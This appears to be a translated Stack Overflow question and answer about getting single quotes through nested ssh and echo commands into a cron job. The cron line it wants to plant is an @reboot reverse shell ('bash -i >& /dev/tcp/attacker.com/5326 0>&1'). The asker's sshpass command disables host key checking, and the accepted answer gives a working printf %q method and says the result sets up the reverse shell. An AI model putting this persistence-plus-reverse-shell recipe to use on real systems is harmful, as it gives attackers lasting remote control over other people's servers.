我有一个脚本来更新通过 ssh 访问的远程服务器中的 cron 作业。我无法从 bash 脚本中运行的 echo 命令将单引号放入 cron 作业中。
这正是我在 cron 作业中需要的字符串:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
但我无法让他们“坚持”。
这是我脚本中的行(其他行工作正常。
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
这次尝试的结果是......
@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
...缺少引号。
我尝试过多个双引号。双引号内有单引号。斜线。
在这种情况下,如何在我的脚本中添加单引号,以便它们最终出现在 cron 作业中?
最佳答案
如果你不需要它漂亮,你可以要求 Bash 来做:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
该脚本的输出是:
The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
事实上,如果您复制粘贴该命令,您会发现一个文件 TEMPFILENAME
包含:
@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
当复制粘贴到提示中时,将设置反向 shell。
关于linux - 如何在脚本中通过双引号 echo 命令传递单引号以添加 cron 作业,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55444126/